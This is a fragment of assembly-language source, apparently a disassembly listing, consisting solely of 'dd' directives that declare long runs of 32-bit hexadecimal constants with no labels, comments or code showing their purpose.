		dd 20108485h, 18A54A8Dh, 25494020h, 0CB0597Ah, 201A85C7h
		dd 0C61182C5h, 5B951434h, 8128B02Ch, 6B9AF0A0h,	0C8E21040h
		dd 0A89BA4F0h, 1ACBF88h, 289523DDh, 0B130962Dh,	8421908Ah
		dd 61E8F21Ah, 74D90B50h, 0FC4CF86Ch, 34149D25h,	0FE806FF4h
		dd 15FA2C93h, 8B7E42ECh, 370984AFh, 0F4D11C0Dh,	9D270394h
		dd 0A7808011h, 0C7690995h, 7C7D398h, 0D62D40C4h, 0A50FEB3h
		dd 584E1F80h, 75833C40h, 170EE3C0h, 0C81DF015h,	0A9499568h
		dd 0E2821EB4h, 0A29F1C2Ch, 28F7AF0Dh, 0E9E83049h, 42C8BE09h
		dd 0CC599A97h, 2A9EF08h, 0B5371F18h, 2FDEA080h,	64000924h
		dd 28E1235h, 2FB621D2h,	1098F629h, 0CF806FBFh, 472200B1h
		dd 0BDA2BE8Ch, 0A094C02Bh, 0F13695E1h, 0C0E79898h, 0BCA1EEBFh
		dd 0E86813h, 0CB57F2Dh,	0E2F03Ch, 9E5725C1h, 8F5D2E70h
		dd 875B401h, 176D2B9Dh,	573C313Ah, 0E0041401h, 0E0C425A1h
		dd 0F4D07013h, 527FD0B9h, 971460B1h, 68581499h,	0C4D3E0C9h
		dd 58A59409h, 3B8901Ch,	0C3C5AF8Fh, 40EDBD7Eh, 0C322E3Ch
		dd 0FD00AEB6h, 59D27928h, 39E3DEEh, 0D9D522Ch, 3689F41Bh
		dd 99843024h, 8BE7405h,	0CCE15C7Fh, 60E403F1h, 0F07858BFh
		dd 1DC1710h, 951C3D43h,	99F8E3B7h, 0D50E0014h, 0D3EB707Dh
		dd 41E8098h, 4F402E45h,	0F9956FD8h, 1FB0C352h, 0E009797Ah
		dd 53FD9680h, 1819308h,	29A218ACh, 14303B04h, 255C9105h
		dd 0CC2E867h, 7D0850F1h, 0E4291261h, 3249DC28h,	0B1E59FDCh
		dd 8826F510h, 1F2CA004h, 0D5F0E04Dh, 88749628h,	3A6A7100h
		dd 0B0A9765Ch, 647B5C95h, 0DD44B193h, 74807A1Bh, 0C9361D7Ch
		dd 3CC08DEAh, 8C927A16h, 32F6B414h, 9DB181F0h, 0C7021DE4h
		dd 7F9590C0h, 83965100h, 0A0587DFAh, 0F35D3Fh, 0F5B78700h
		dd 0A7DFBF42h, 82FF628h, 3005BC4Ch, 3B0C4880h, 0AA37124Dh
		dd 0CF0800E4h, 7715D6E3h, 0D4B6823Bh, 80B09A08h, 0A100F6FDh
		dd 4C061895h, 0B8946876h, 0EC8F402Fh, 6C4430CBh, 9D172E42h
		dd 0E5880C1h, 0A8C02CF0h, 77FC4181h, 6090BAh, 0EC031CF2h
		dd 0B32095D6h, 0A57B6725h, 0D8A4B9D8h, 0B853501Dh, 0B1223CA3h
		dd 0C485CA25h, 49E8F347h, 0C439032Ch, 0D3A52Eh,	0D5E69560h
		dd 58A16C45h, 885C9C26h, 4751608h, 0ADFA9A0h, 0D440D82Fh
		dd 90C0304Bh, 0B8E527A8h, 13F16404h, 757F0C88h,	2630C0E7h
		dd 945D995Ah, 7553B312h, 0F83648B5h, 9525F503h,	212C337Ch
		dd 7F41A8E2h, 90841070h, 0C0D897B6h, 0A79C0941h, 37F895h
		dd 3E7ECACFh, 0F7502F0Bh, 0BF58C301h, 0B02622DDh, 51A85D0h
		dd 277EBEE7h, 0BA64989Ah, 8F6CB45Dh, 0C3CC0025h, 0FEDAC03h
		dd 0FC208CC6h, 617FD839h, 377C5890h, 94FF9E1Fh,	0FCEFAD40h
		dd 78253C5Ch, 0D55E2714h, 177A1018h, 74CC9197h,	912F9C30h
		dd 0FCF708B8h, 0D3F55B00h, 2DCCD7h, 0FAB2634Fh,	71829CFBh
		dd 313A5CBAh, 80304905h, 11C81EA4h, 0C0494F1Fh,	0A7FD29ACh
		dd 5C996CB0h, 0EAA0488Bh, 3A7074ACh, 0B6F01326h, 2A12D0DAh
		dd 0B02822A7h, 0A09C4C97h, 0E1A7C0C8h, 0AC246104h, 1E10C9DFh
		dd 6CC48B0Bh, 0C4429D18h, 14F36B9h, 0B5C6DE28h,	0C4C8FBCFh
		dd 8F00F624h, 20A23E99h, 2539F97h, 7DE54FB4h, 3448A464h
		dd 5E012A3Ch, 7FD5B98Dh, 99ACA273h, 0CF600000h,	2B669DB0h
		dd 0D1B8A1C9h, 0B95708D4h, 40D8B033h, 140964A0h, 0E87A307Eh
		dd 4844A6A1h, 8F311FB0h, 0C8E51866h, 0A0D95096h, 9200D520h
		dd 779C5771h, 966B2994h, 0E7BA81C0h, 3EC8B5EFh,	0C0ED8853h
		dd 0EE2028h, 0FDA049CEh
		dd 0D21F1983h, 657CF02Dh, 599D0500h, 0F6AC125Ah, 2FE501E0h
		dd 75640A12h, 78369FE8h, 0D02295C1h, 1A049D7Fh,	0C71BD0C0h
		dd 0CB08B37Dh, 89EBB011h, 51B5B3A8h, 811484BCh,	10B8D650h
		dd 4200F090h, 0E8F73328h, 90263DC8h, 98DF20A0h,	4CC3F44Bh
		dd 25029440h, 0E8D8A81Fh, 0D5D4E550h, 7C42024Eh, 0E8FB9A7Eh
		dd 252D44ACh, 0A00B96DEh, 0B1A51027h, 0CC521721h, 0FF04F0D3h
		dd 0BE9DBFD9h, 0F600ACACh, 25DDF23Dh, 0EE0620FCh, 3CB79607h
		dd 258941B0h, 0EEC080Ch, 75067222h, 0BCEC55A2h,	83E11861h
		dd 0CF9DF450h, 2EBCA0FDh, 0A3A50278h, 3E229464h, 0FEE1A0D6h
		dd 213A0AF3h, 2E9945F4h, 69944002h, 0F1C48CE2h,	0C0F648CDh
		dd 0BB6410h, 0D1E4A046h, 607D1FCBh, 0DE44883Fh,	0D44C9892h
		dd 2912C49Ch, 4F278C4h,	604946C9h, 584B2F0Eh, 0DBCC0418h
		dd 150A58EDh, 81E02ACFh, 22F5D14Ah, 18202E98h, 954E1F2Dh
		dd 0C59D4884h, 70DC4862h, 4951708h, 922E9609h, 0EC66C82Ch
		dd 0B036DF01h, 85268C15h, 0D221B893h, 1F22BCC8h, 2938E8A9h
		dd 2DFD009Fh, 6E97CCCBh, 26042580h, 96219DB5h, 0E8D810D4h
		dd 8634B148h, 0C83F0294h, 0A72BB600h, 955A146h,	431F13C9h
		dd 7E784251h, 1702D3F8h, 2808E1B3h, 208E7700h, 0F05AF62Ah
		dd 6A93832Dh, 7EE8C068h, 38E261CCh, 0E1C158FBh,	54C52BC9h
		dd 0E6166084h, 1902AC5Fh, 0C9099DB9h, 9440DDF4h, 1386762Ah
		dd 0B4E25D20h, 0F4ECEF70h, 405D6EB8h, 0FBA40058h, 51F7C2Bh
		dd 5928C0C7h, 0D4F45FBAh, 0BB95CC08h, 0F95203ECh, 9DC03004h
		dd 9B56384h, 204C58CCh,	0A2715ADh, 0BBA040F6h, 28268174h
		dd 94B4D2F4h, 746DE9D8h, 914A393h, 25D9E71Eh, 24E0AF34h
		dd 35AE2413h, 8EA9018h,	45309826h, 0DD58C1FEh, 0C80064D8h
		dd 942C3C81h, 6737A100h, 18F72D1Dh, 0C4E0AB5Bh,	209098D3h
		dd 5B003146h, 0B902A84Ch, 2A9F639h, 0BA3B510Bh,	6C5C761Fh
		dd 0CFDC1101h, 0C0F814B7h, 0C6F22806h, 2C8CB6B4h, 177708B4h
		dd 35840800h, 0FFD7FC8h, 37A50E25h, 96364040h, 7E114506h
		dd 421618B6h, 4BB0A317h, 0B61FEC01h, 0C6CAF62Fh, 279F4274h
		dd 2698A0A1h, 0A098511Fh, 1A65ADCh, 25CB542Eh, 20B35792h
		dd 0C49679F8h, 63A09705h, 0D3DC9C0h, 891F1B1Ch,	0AED3848h
		dd 1FAC81A4h, 0E0121618h, 0A6272E1Ch, 188066EFh, 0B9D7D87Eh
		dd 0D300B921h, 8395901Ch, 7CC4C088h, 5F410077h,	7D769C81h
		dd 1F251A80h, 3DAC40B0h, 943C000Ch, 0A2E702EDh,	0F092D79Dh
		dd 2C2DAE20h, 4218130Ah, 0E001B4A7h, 4ECED8C7h,	32D40518h
		dd 8CE27DA0h, 5CBA42E8h, 0F2F99D12h, 993DA882h,	7F08D5A0h
		dd 0C9A66430h, 2D0E7526h, 0F8E0180Dh, 7901A797h, 7ECCAD95h
		dd 823F1F94h, 305842ACh, 681CB24Ah, 0D9BBCBh, 0FDA42609h
		dd 0BAAC0312h, 6C95E302h, 869C5E0h, 0A0107E0Bh,	90C6072h
		dd 0C650D32Dh, 112E4988h, 211F68ABh, 61CA3C8Fh,	8EC74BA4h
		dd 0E883DED0h, 0C14494E2h, 0A5B37D9Dh, 3F344651h, 0B1257E48h
		dd 0BFC11813h, 1FC0801Ch, 435C715Dh, 8095000Eh,	172D91E9h
		dd 8097B996h, 20CDC79Ch, 0E1CF12FFh, 2C64B8C5h,	9A0C940Fh
		dd 48E2606Ch, 0C29250C8h, 6C73F07Ch, 4037A008h,	9F7EA917h
		dd 0F11C560h, 7D3D0833h, 8DF60220h, 6298A05Bh, 0C9BED48Eh
		dd 84A9AE1Fh, 0C2324000h, 700063BFh, 13093F49h,	3C0DE04h
		dd 8CDDE7E8h, 5888E2C9h, 0BB0CEBCCh, 0FCA4189Fh, 0A650CB52h
		dd 802E1004h, 22A3737Ch, 209AACF0h, 0C98E1901h,	7205AF59h
		dd 18B8042Ah, 40A60078h, 3A8FDEAAh, 2F24B024h, 0FC170B80h
		dd 0A0015C7Ch, 8A7E9F3Fh, 13D4E2E9h, 0A518C968h, 0A32E30CCh
		dd 0EB40D439h, 31DD094h, 957E1504h, 88070C30h, 960BA3E0h
		dd 20870B9h, 95B5538Ah,	94E6B113h, 19A22509h, 0CA94229Eh
		dd 0C1407CC0h, 11014826h, 0CA0291AEh, 0E042A4F6h, 0A4200BC9h
		dd 0D19891DEh, 0B4BD8491h, 28C2502Bh, 0CDD448D4h, 0AB2E149Eh
		dd 7200D4F8h, 0DFDEF490h, 0B9267EC0h, 7540D8C8h, 99AA7h
		dd 0A8A32D46h, 47825DBBh, 838E0E0Eh, 0BC26802Fh, 25E2CF03h
		dd 0B460C9A1h, 5D5CB857h, 0A6E078Ch, 1EC1985Ch,	4C388895h
		dd 787C3250h, 0D62B096Fh, 0A800BDA3h, 0BF050B7Dh, 732AFD00h
		dd 9DA5E10Ah, 968B450h,	80778737h, 0DD9F28B0h, 3F8C9005h
		dd 585899ACh, 8C14D2Fh,	5046EEA0h, 960FC404h, 90D0EB51h
		dd 22224A5h, 14A1E10Ch,	305155ABh, 0E32E440Fh, 0B5D6B6h
		dd 0C6DEB2F0h, 41DDC1A4h, 0DAAF5300h, 117195D5h, 0F2BA03C5h
		dd 0F60864A1h, 8F002E73h, 7D6D153Bh, 0B832D797h, 4A7F31h
		dd 0B53C787Fh, 0B86B2013h, 0C4408F97h, 88AC4495h, 0A402BE27h
		dd 0F8C8E11Fh, 0CB42E48h, 9F7F43h, 0B4A49828h, 7EFA6C0Ch
		dd 0EC2DC428h, 0F1FB8301h, 0B23F9549h, 818E2897h, 3455B1Ch
		dd 0E564ABA2h, 0D0E394F5h, 13FC9AF8h, 0B487F62Eh, 21492078h
		dd 711D1130h, 6B7F6050h, 0E89458E3h, 6DCB9D13h,	4E74E3h
		dd 41EF48ECh, 15A9DCEh,	0F8FC7084h, 23B2CACFh, 20E0BF60h
		dd 297AF2Ch, 5CD0B840h,	0B67F89E0h, 471F38B0h, 93EC009Dh
		dd 407A9587h, 0D52D1723h, 990070Dh, 88DC086Bh, 1B7D708h
		dd 6463920Ah, 3EAC2217h, 2CD82C1Dh, 0E12028ACh,	0FCB1AB02h
		dd 740E14C2h, 251F095Ch, 8342040h, 2F7CF57Dh, 0DAB09300h
		dd 11327C31h, 0DC82533h, 351F50E0h, 649CF84Bh, 9D56EA95h
		dd 8DBF7038h, 2847C700h, 6167A88Eh, 2A2F1DF4h, 6C5907Eh
		dd 0BF581F21h, 94CC3C50h, 0B1DD6B14h, 0E4110E27h, 9C012B0Dh
		dd 33574165h, 721EA464h, 0CC1A4F88h, 5B4621DCh,	510DA400h
		dd 8342FDEDh, 0BB8EC404h, 0C0848515h, 0C480804h, 0F65DDCC2h
		dd 0C92E1F1Ch, 0ECC4EDDAh, 2314A200h, 1FE40F43h, 606E6515h
		dd 0D8E01686h, 0AC40B600h, 0C9B3002Dh, 29BCE642h, 3400839Ah
		dd 663F8298h, 5F520C7h,	0CF7E2C2Dh, 0D0D81712h,	42BD3EB4h
		dd 0DFBB4A09h, 0C2EC02C3h, 1810D24Fh, 7045FD0Eh, 0B72F1F22h
		dd 2D8CCEBCh, 1C606D94h, 7E27B011h, 2E1401E2h, 0F6E13E55h
		dd 257C1D3Fh, 0DF06986Eh, 8B5A7EAEh, 8F131310h,	0A01C34F8h
		dd 0D400A1F4h, 2E0B4C46h, 12775A4Fh, 5504BBh, 73A058F4h
		dd 3D7A28FCh, 0CB0B3Dh,	0A1EEA67Eh, 220FDBCh, 215548F6h
		dd 78E8F3A0h, 0BD7B6FC7h, 0E345A618h, 5A7F1F89h, 0BE4406Dh
		dd 5F7EA717h, 1F941B54h, 9C36FD01h, 0CA0D9D04h,	0CAA2489Fh
		dd 63C4D397h, 0F9278D9Bh, 1690445Dh, 8206D10Ah,	0F4D4B130h
		dd 80803DF0h, 6F00D197h, 0F68F77D8h, 4324D31h, 9E17C5FDh
		dd 3D78E20Ah, 48CB731Fh, 92501444h, 0D8B8971Ch,	92E23295h
		dd 0D5D33F02h, 807A9843h, 0DE1F2408h, 9BFCA87Fh, 0E48C19Dh
		dd 20A8B596h, 48026CF8h, 0ECCE9AFDh, 270E0CAh, 50748266h
		dd 0D34823Ah, 0C811F013h, 8095DAACh, 381E3298h,	82CC31CCh
		dd 3E2103Ch, 95BAA5E7h,	6004A3D8h, 717EC118h, 210000FFh
		dd 0B6ABC35Ch, 2A3CA43Eh, 9518C8D5h, 4F30B517h,	21723815h
		dd 951E000h, 2FC5DD5Ah,	229DAF17h, 0ACF81C84h, 0D83D82A0h
		dd 749739h, 4775A1A0h, 903EF658h, 0FFF402DAh, 7CC67A20h
		dd 7F17B8FAh, 0F3137EB4h, 732DE041h, 9C61E4B1h,	24B9BCF8h
		dd 3994B427h, 9BF73401h, 602621DDh, 6A307E30h, 0E43838DEh
		dd 0EA51F08h, 420A1F18h, 8BF62A39h, 4A42205Eh, 2DE24D1h
		dd 719CDF9Dh, 210C846Ch
		dd 131C98B9h, 922F3B25h, 88447FF0h, 68A4049Eh, 0E6E53300h
		dd 4A7C5E19h, 0BCC80911h, 420024CCh, 0E767CDF4h, 81E8CC9Dh
		dd 0B8313BF7h, 1E00A3DEh, 7C92BFDCh, 0D8FC3828h, 65A7419h
		dd 1081F76Ah, 7DDE927Ah, 685E7AC8h, 0BE003DD2h,	0ED4310F1h
		dd 0BA8D005Ch, 0B09F956Fh, 14074A7Dh, 522E0E71h, 0CC0841C0h
		dd 8C89BDEDh, 30D51C31h, 6EC9CD10h, 5ED8C0C0h, 0B748093Dh
		dd 0C470EB7Eh, 404F34Fh, 0B3007A9Dh, 0EA90CBB1h, 0A409FF72h
		dd 0DC6095h, 3E9DB224h,	1818BDAFh, 8360C77Fh, 46653A38h
		dd 9805074Bh, 18D3A3h, 93F47E30h, 9543F891h, 0D8C19336h
		dd 0FC2F7DBCh, 0F7370134h, 4AFDA673h, 1B8D408h,	537C9500h
		dd 945ED1F3h, 39649CB3h, 2D150C80h, 0C20F7052h,	249DAB3Ah
		dd 0CD8000E5h, 960D3345h, 14FA4DB1h, 0CFEFD700h, 0A4BE8B3Bh
		dd 3D4E9DE4h, 0EEFEFC81h, 207C856Bh, 0AE483600h, 3A3BFB58h
		dd 0A1DE17BDh, 803AFC1Fh, 16FDC0A7h, 0F0CB71h, 39A245A4h
		dd 1EC28BE7h, 0A9D7F1Fh, 37162007h, 96D4FF60h, 9F1F126Fh
		dd 0F8084599h, 34A2D1h,	0B1C72A41h, 383C1EBh, 0FD8B0E3Ch
		dd 10F87A14h, 7D067CFCh, 8E9DB319h, 37A10039h, 0ABD3826h
		dd 6607D798h, 5F0FF47Ah, 7E39BE70h, 21B09A27h, 0C42F46FCh
		dd 0B16098D4h, 59CF873Ch, 0F63110D9h, 4800307Fh, 0D5C5E1EBh
		dd 2977290h, 0B681F1A7h, 9CA4DF06h, 7880BBA1h, 1732D60Fh
		dd 0E7B305A0h, 0D785018Ch, 0F3E09471h, 24C0C047h, 2F4AC99h
		dd 351D73F8h, 0EC59EFDBh, 0E03227h, 0C905CE8Ch,	7E4609A7h
		dd 90C23A58h, 141EFCF6h, 0CC49F4C4h, 8520D4F9h,	28373C3Fh
		dd 4E03FFA7h, 2103B69Ch, 0E0F2CBB0h, 393C91Eh, 1FE31857h
		dd 701386CFh, 9CB2617Eh, 0A240843Ch, 0E10D3C0Bh, 80048592h
		dd 0B400A852h, 0BAA9629Ch, 2D65F847h, 14E515F3h, 48212E8Ch
		dd 0A0D54CA4h, 7F0864h,	0E2451346h, 0DDFB2CFDh,	68121ECCh
		dd 882601A8h, 0B84348A1h, 597ED4FAh, 9F387140h,	0C8D8F498h
		dd 2097D49Bh, 0ABFDAC70h, 0D467050Ch, 0B849829h, 0F0517A08h
		dd 0DB74AB4Eh, 84CA25FCh, 6ACA8C00h, 3C55997Eh,	0A54093C0h
		dd 977FD8C1h, 2CB0007Fh, 63FCEC52h, 0F09DC217h,	9608E4C0h
		dd 6C81970Ah, 7ED2028Dh, 423EBC48h, 1440D885h, 0C495F595h
		dd 0D89B60C8h, 0DEB88AF6h, 0D35A847Fh, 0B757B881h, 172DF440h
		dd 0C38E00F7h, 0CABE82E9h, 8B09ADCEh, 82C62BDBh, 68261551h
		dd 0CF59F88h, 9222A025h, 0BD17B758h, 10A09D1Fh,	35CB080h
		dd 270E905Ch, 61E095CCh, 0CD00F80Bh, 0D2011122h, 19C971Ah
		dd 0E3B4FA5Bh, 87B8CF7Dh, 0E7190FC0h, 813B2982h, 664F2D84h
		dd 0B8DFA0F8h, 934502B0h, 1894721Bh, 864AC870h,	661098A2h
		dd 251C5895h, 0DA08606Fh, 727D00D5h, 30A93FEBh,	2300D99Ah
		dd 0C24FAEBFh, 799F244Dh, 0D47F0309h, 6D0D95A3h, 0D7673800h
		dd 0D819A583h, 0CD3501F5h, 0E2288696h, 4E6089BEh, 0DE202908h
		dd 821F0954h, 67E55040h, 0ED0149Fh, 0FC70B257h,	0D2B685E0h
		dd 0F64847E2h, 4C63E3Ch, 9C7BE8F3h, 0D153DC80h,	7E063EACh
		dd 0C8E71781h, 2AEEC7FDh, 42ABFC24h, 989DDEA0h,	0A00990D1h
		dd 480C3420h, 2862FC1Fh, 0E8CA7CDDh, 50B4E40Ah,	0C92AB58h
		dd 0FB00997Bh, 90354543h, 0B53B9CFFh, 64641409h, 2D577C00h
		dd 930395F0h, 0D489B559h, 29B64000h, 0D659547Eh, 0B77F1654h
		dd 4F1F8CCCh, 4168F0E0h, 0A8CCF05Eh, 804897B5h,	71D8D84h
		dd 992CF3Ah, 0BBBA4F4h,	0F665D35Eh, 0B4456080h,	0E0018373h
		dd 0B518150Dh, 343E77CFh, 6D8A008h, 0B001549Eh,	8E85DD2Dh
		dd 200042Fh, 93BB0437h,	65C5F8FCh, 8412A2h, 203C7028h
		dd 0B7F8F712h, 12F6AB3Eh, 404B980h, 14EC812Fh, 0E74C9583h
		dd 9F5A3814h, 0AF450FA0h, 0FE1FE271h, 5188D6A1h, 0E0210285h
		dd 5307FDF4h, 7E16F4A8h, 26E8F0D3h, 0DAD41F1Ah,	70C7C41h
		dd 6BBC7E2Fh, 93224C20h, 0F1005BFFh, 0F5877C94h, 2F95BFACh
		dd 38497075h, 0B6C9E0A0h, 0E098A0CEh, 1DDDB558h, 50357876h
		dd 317E08D8h, 0D458EC8Dh, 7A68884Ah, 0CD231298h, 0AD08603Ch
		dd 17EB588h, 2A1BF48Ch,	52068AFDh, 0E8609F64h, 0A8B9207Dh
		dd 8B7EC860h, 56042F95h, 0C7079464h, 7024DD5Ah,	0B1A8A041h
		dd 31747080h, 0D432D197h, 9A5B227Ch, 8E867C90h,	0F4099F4Ah
		dd 33B7D094h, 14CB34h, 0B211AF20h, 0BAFB8E2Bh, 0FCBB3901h
		dd 1422D5EBh, 242F60EEh, 21CC267Eh, 30482544h, 0CCB63D7Dh
		dd 0A169159Bh, 0C841F419h, 283F180Eh, 932E9D38h, 0ED978CA6h
		dd 429420C0h, 1A4B94Eh,	3D1DEB3h, 4CF02214h, 38614E18h
		dd 0B500F312h, 9AF0907Dh, 1354974Dh, 7C1EF524h,	6046868Fh
		dd 4C7CB1D4h, 1B7E2D48h, 22DD2802h, 1F2DBC50h, 7F1CC14Eh
		dd 207C053Eh, 0F950A494h, 0D02CF600h, 7E304C7Dh, 0B0C160E8h
		dd 0F0EB73C0h, 0D8872A5Ah, 0EEF552h, 187E43CAh,	0CC4EACB2h
		dd 0FB0EB881h, 1E1F1700h, 0D0608F60h, 1108C0h, 28FD9E21h
		dd 9382F8E3h, 95251504h, 3CF97B5Fh, 9DCA9860h, 29DF9E1h
		dd 0F5502F60h, 6815F4A0h, 0FC9C2395h, 717FB605h, 2C0664EDh
		dd 285DF81Fh, 0E8D83412h, 0CC9098ACh, 8AF2014h,	0C32CC14Eh
		dd 7EA6106Fh, 0C89C658Fh, 0FDF804F6h, 7C8CF563h, 8DB61090h
		dd 10DECB18h, 0FC80064Ah, 903C912Ch, 0E8E64AB9h, 2320C04Ah
		dd 9400CCB4h, 34335E15h, 5274D1h, 635B214Eh, 0DDBBD0E8h
		dd 0B4198324h, 37F7C800h, 2882763Bh, 89B98h, 8A5133F6h
		dd 9DBC19D1h, 10B8202Dh, 7314420Ch, 9D2784FEh, 0B1C80E7h
		dd 251D45D6h, 0B0E1022Eh, 0D43803C0h, 0A968E052h, 6A4DE0Dh
		dd 9C7910D9h, 1C23BF00h, 0F27E8BC5h, 4C1D8492h,	0C01F1161h
		dd 24C17D9Fh, 209B9DC8h, 33F75089h, 181E30CCh, 0CA009D97h
		dd 0A7DEFFDBh, 2A4126B0h, 0EB8B00ACh, 762C2D7Dh, 0D0B58600h
		dd 50A0D312h, 0CB1E267Eh, 2B278048h, 0E4B139A2h, 0DF1D310Bh
		dd 58C0809Dh, 78D6139Ah, 17DE26CDh, 2036840Ch, 4AB4A8DAh
		dd 972028E7h, 174CC995h, 7CE02302h, 0F65C2A2Ch,	0E2992FD9h
		dd 0AD7060B8h, 0ED89274h, 66C71254h, 516E091Fh,	0FDF2002h
		dd 2BE68482h, 0F72F706Ch, 0B01042ADh, 21F53Ch, 936F2D45h
		dd 40EA142Ah, 17FEE000h, 0F932D9C2h, 762B0299h,	829DAF31h
		dd 449D20D2h, 18549AA8h, 8FA8012h, 1D78640Ah, 7E6AC805h
		dd 40F82F49h, 6C489DF0h, 6CA2174Ah, 9F2EFD00h, 8C982853h
		dd 12F62530h, 1EBEB25Fh, 1417DD04h, 2D000846h, 0DFD7442Bh
		dd 9CF495AAh, 0F42824BCh, 2EA1CD07h, 0C08EBD0Dh, 2CBB270Ah
		dd 7CF64D7Eh, 0E2587C17h, 2A6DC6F0h, 1BC9EB0h, 96646F21h
		dd 0CCD82A08h, 1238746Bh, 81B17EA4h, 7BEB6794h,	5C69CC71h
		dd 7E415880h, 74152082h, 3038FC77h, 9CD589F7h, 82AC8F28h
		dd 405B88F6h, 12B4143Fh, 0ABD746CFh, 3BE67F06h,	5A200038h
		dd 0DBE0B71Ah, 60507994h, 0D3ECA8A0h, 7A74EC01h, 6B5F9CB1h
		dd 0A467803Bh, 0B90D4BFh, 0A7009676h, 0DD7827E8h, 3DCAFAAh
		dd 9CD91A6Bh, 8000E7FEh, 0F0F266FBh, 0D8949Eh, 0EA9A27B9h
		dd 0DB09AEA5h, 87A91B01h, 15A7483Bh, 7129FF0h, 29DDB7C9h
		dd 0C78589h, 8CC6B308h,	9E03EC59h, 0EB28D868h, 9A47E721h
		dd 84EF808Fh, 3A5F5471h, 1860CB83h, 76640C2h, 11D86906h
		dd 38D28Bh, 59375A9Bh, 661C36Dh, 0CB69F600h, 31BCEB86h
		dd 0C15B7DA9h, 0C1BA9A28h
		dd 7079DB47h, 8F5F2A3Fh, 8329522Ch, 0D006BE30h,	3151A3DDh
		dd 63885DF0h, 9CE9F044h, 0D8102C60h, 2F49129h, 0F1EA4C0Ch
		dd 60812DB8h, 425C83h, 0C0A5DBD0h, 0BE346130h, 7590C1BCh
		dd 0CF27B8C0h, 0F85CD78Ch, 60F9F8C0h, 8380409Bh, 0CE832656h
		dd 5018F060h, 172B0D5h,	8CA6B3A5h, 8A22D2C1h, 6C5EA948h
		dd 83D09800h, 75992C1Ah, 0E6A13378h, 3030AE18h,	7CE960DFh
		dd 608DF06Dh, 0CEB1401Ch, 3C01CF8Ch, 0E22AC6BEh, 2660E4E1h
		dd 613B4891h, 606C2D18h, 33030252h, 6551B6B7h, 0E1D81677h
		dd 0C0EE1DF0h, 0DAC1971h, 4F00BF2Dh, 0C161B116h, 3AAEE59h
		dd 8339B46Bh, 900FE2CFh, 677C4E8h, 2AD8B89Eh, 52F8DC6Eh
		dd 0AF3FB005h, 86CFE8E3h, 0C78E1005h, 80210642h, 1980A4FDh
		dd 11FC6D25h, 0A8D4E2CAh, 7DD020Fh, 878CB8EEh, 0AE325588h
		dd 11036066h, 28D460CDh, 2C9AEBF9h, 0FC057CF0h,	0B8CAE59h
		dd 40C48401h, 6092B572h, 0E501EB1h, 69CEE5Fh, 4073C111h
		dd 0BF6D4607h, 614686ABh, 0C31E1D38h, 88528026h, 0B6899FEh
		dd 511B647Ch, 9DD83421h, 3E181Eh, 0E3793BBh, 77E14838h
		dd 7AB10402h, 8A6441CBh, 577D0038h, 0AC371CF6h,	85C10069h
		dd 0A9E0525Bh, 2302AE8Bh, 99E99AC6h, 0FB5F6073h, 0E89D3011h
		dd 0AB359A8h, 0E9ED8F00h, 99D17BA7h, 94111837h,	541B2077h
		dd 5F19B891h, 6843C478h, 6BB009FAh, 5C22D8C1h, 384460A9h
		dd 8890B824h, 5FC1826Fh, 52A0A75Ch, 20D8A2F8h, 0A801AD89h
		dd 18014488h, 0F63151F5h, 24974094h, 630E1109h,	0AA1C9007h
		dd 0EB5B004Ch, 4CF4EF9Eh, 9F0AF676h, 0DCA4CD2Ah, 0B440D610h
		dd 0E04CF0F3h, 8ECA0760h, 4B338802h, 19EEF0Fh, 0A6C204EAh
		dd 5168806Fh, 0E62EC893h, 77CA008Dh, 0BEE9E099h, 0C3041937h
		dd 6BB811ECh, 36502CD1h, 0C65F26E0h, 0FAF1EB98h, 4380749h
		dd 0E6FC9D23h, 509B00C8h, 4010B058h, 0EB50F284h, 0B42483E4h
		dd 0F41978C2h, 5C2029A8h, 0A56C3C84h, 9983C406h, 2A0E20ADh
		dd 62E02CBFh, 0AA8F81C1h, 900188A4h, 3167ADC2h,	2A525FE0h
		dd 41DC9FDDh, 2AC0C264h, 181FC3E8h, 0A0281A84h,	115BC602h
		dd 60E4EF9Fh, 0C0EEF928h, 3C632118h, 0D904C350h, 0D569F3F5h
		dd 0EC50DCC7h, 7051F4DEh, 6260C51Eh, 59C8620Bh,	6221F10Ch
		dd 7599C885h, 1C1C4C23h, 10C1B228h, 6D8E0CE2h, 0C925218Dh
		dd 7080F2E9h, 11F8B029h, 50C3C87Bh, 0C1E1575Bh,	0B050F13Eh
		dd 40DDC24Bh, 7C12B1BDh, 18219AEAh, 48225CA9h, 4CEC9B04h
		dd 11E881CBh, 0A0F23149h, 0A7F0D068h, 45C1E8ABh, 9F2FE034h
		dd 8F1D10C9h, 758A06F7h, 30BB1210h, 0B8D00064h,	88840861h
		dd 18383C60h, 3A5FB08Ch, 17C30CFh, 73DB2BC2h, 30CABBE9h
		dd 0A80143BCh, 1358BF8Dh, 383070C0h, 9BF740B6h,	1A38623Ch
		dd 0A10DBA5h, 0C8306DB0h, 0F0F107D9h, 10AB61C0h, 415FA935h
		dd 339DE96Ch, 20C6208Ch, 0F900BF7Ah, 52056E82h,	1501EBDFh
		dd 0B0DD83EAh, 31C00072h, 16597556h, 4E038145h,	0AF5FE051h
		dd 0EF70106Eh, 9FD7017Ch, 813F05B6h, 4F53CC0h, 0C052364Ch
		dd 3264C0FBh, 0E8985F29h, 499F143Ch, 409C887Ch,	14EBC25Dh
		dd 5E001498h, 8904EC83h, 0B9240Ch, 451F29E4h, 0D975E941h
		dd 0BA00FF71h, 6B2F19BEh, 0A245431h, 35585A04h,	3C8B180Bh
		dd 507096E9h, 0D3EC5CE0h, 810C4960h, 3B5D28C6h,	0EE0144D6h
		dd 43262783h, 0C0E9F001h, 8962EB67h, 0EE835877h, 0B9103AFBh
		dd 0DC10A0Fh, 4A1E0446h, 240F8F75h, 5BC7815Ch, 5E228512h
		dd 55DC6050h, 58080087h, 2D40D0F7h, 7877AACAh, 0E9C18906h
		dd 6F38038Ah, 65064CFFh, 0C700A70Ch, 12D11BE1h,	656525Eh
		dd 75629FBEh, 0A279B653h, 0E9231406h, 313286E0h, 60423C87h
		dd 0C166004Eh, 0F0874E3h, 54F7EB81h, 8BD93120h,	831F241Ch
		dd 58004C4h, 0AFE92DDAh, 0C6C1CF38h, 4C348786h,	0A4C7020h
		dd 0B7B9514Dh, 312807B6h, 3C0CEFCDh, 5301501Ch,	7B18BF57h
		dd 0BA8047BBh, 0DF648C6h, 0D628E956h, 13AA1FEh,	5D5860EFh
		dd 0FCE38953h, 1CFD6027h, 88F3EC80h, 0BFBAE250h, 4B5A5E60h
		dd 86BD55h, 817FD60Ch, 0FF3223C5h, 0EB29DE02h, 2FA78E9h
		dd 9F878B66h, 60FBA250h, 1C77A8A1h, 0C958F99Dh,	9C208311h
